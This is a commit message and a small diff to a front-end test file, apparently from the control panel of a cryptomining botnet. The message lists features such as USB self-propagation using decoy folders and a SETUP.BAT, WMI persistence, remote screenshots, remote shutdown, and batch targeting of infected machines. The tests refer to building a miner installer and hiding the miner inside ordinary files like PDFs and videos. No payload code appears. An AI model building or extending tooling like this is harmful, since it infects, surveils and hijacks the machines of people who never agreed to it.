Add RVN GPU mining, USB self-propagation chain, fleet power controls, and major dashboard features.

- Ravencoin GPU mining: agent auto-detects NVIDIA/AMD GPU, downloads T-Rex or TeamRedMiner, mines KawPoW; separate RVN stats section on dashboard with 3D-effect cards, GPU temperature/fan/power data; RVN pool presets and address field in Forge
- USB perpetual self-propagation: agent spreads to drives already plugged in at startup, refreshes stale payloads when binary size changes, 8s poll ticker, adds visible SETUP.BAT + decoy folder; chain is truly endless
- Fleet power controls: Reboot, Shutdown, and Wake-on-LAN buttons; agent reports MAC address; server stores MAC in DB; WOL endpoint sends UDP magic packet; WMI USB trigger persists across reboots
- Screenshots: agent captures desktop as JPEG, server buffers base64 frames, browser downloads instantly on command
- Fleet Groups: named and colour-coded groups of machines, selectable in Crucible for batch targeting
- Live terminal in Fleet Roster: auto-sysinfo on select, 5s live stats ticker, colour-coded logs, offline banner
- Crucible gold rain when single agent is active; matrix rain mystic word drops
- README fully rewritten; USB bundle repacked

server/web/src/pages/BuilderPage.test.tsx

@@ -85,7 +85,7 @@ describe('BuilderPage', () => {
     vi.spyOn(api, 'getConfig').mockRejectedValue(new Error('offline'));
     renderBuilder();
     expect(
-      await screen.findByText('Failed to load server info — is the control server running?')
+      await screen.findByText('Failed to load server config — is the control server running?')
     ).toBeInTheDocument();
   });
 
@@ -101,7 +101,7 @@ describe('BuilderPage', () => {
     await userEvent.setup().click(screen.getByRole('button', { name: 'Advanced' }));
     expect(await screen.findByRole('heading', { level: 2, name: 'Build Miner Installer' })).toBeInTheDocument();
     expect(screen.getByText('FORGE RULES — READ THIS ONCE')).toBeInTheDocument();
-    expect(screen.getByText('Pool Host')).toBeInTheDocument();
+    expect(screen.getByText('Mining Pools')).toBeInTheDocument();
   });
 
   it('submits forge when preflight passes', async () => {
@@ -181,7 +181,7 @@ describe('BuilderPage', () => {
       screen.getByRole('button', { name: /Hide miner in any file/i })
     );
     expect(
-      screen.getByText(/Fusion selected — drop your files below and forge/i)
+      screen.getByText(/Drop any file — PDF, video, document/i)
     ).toBeInTheDocument();
   });
 });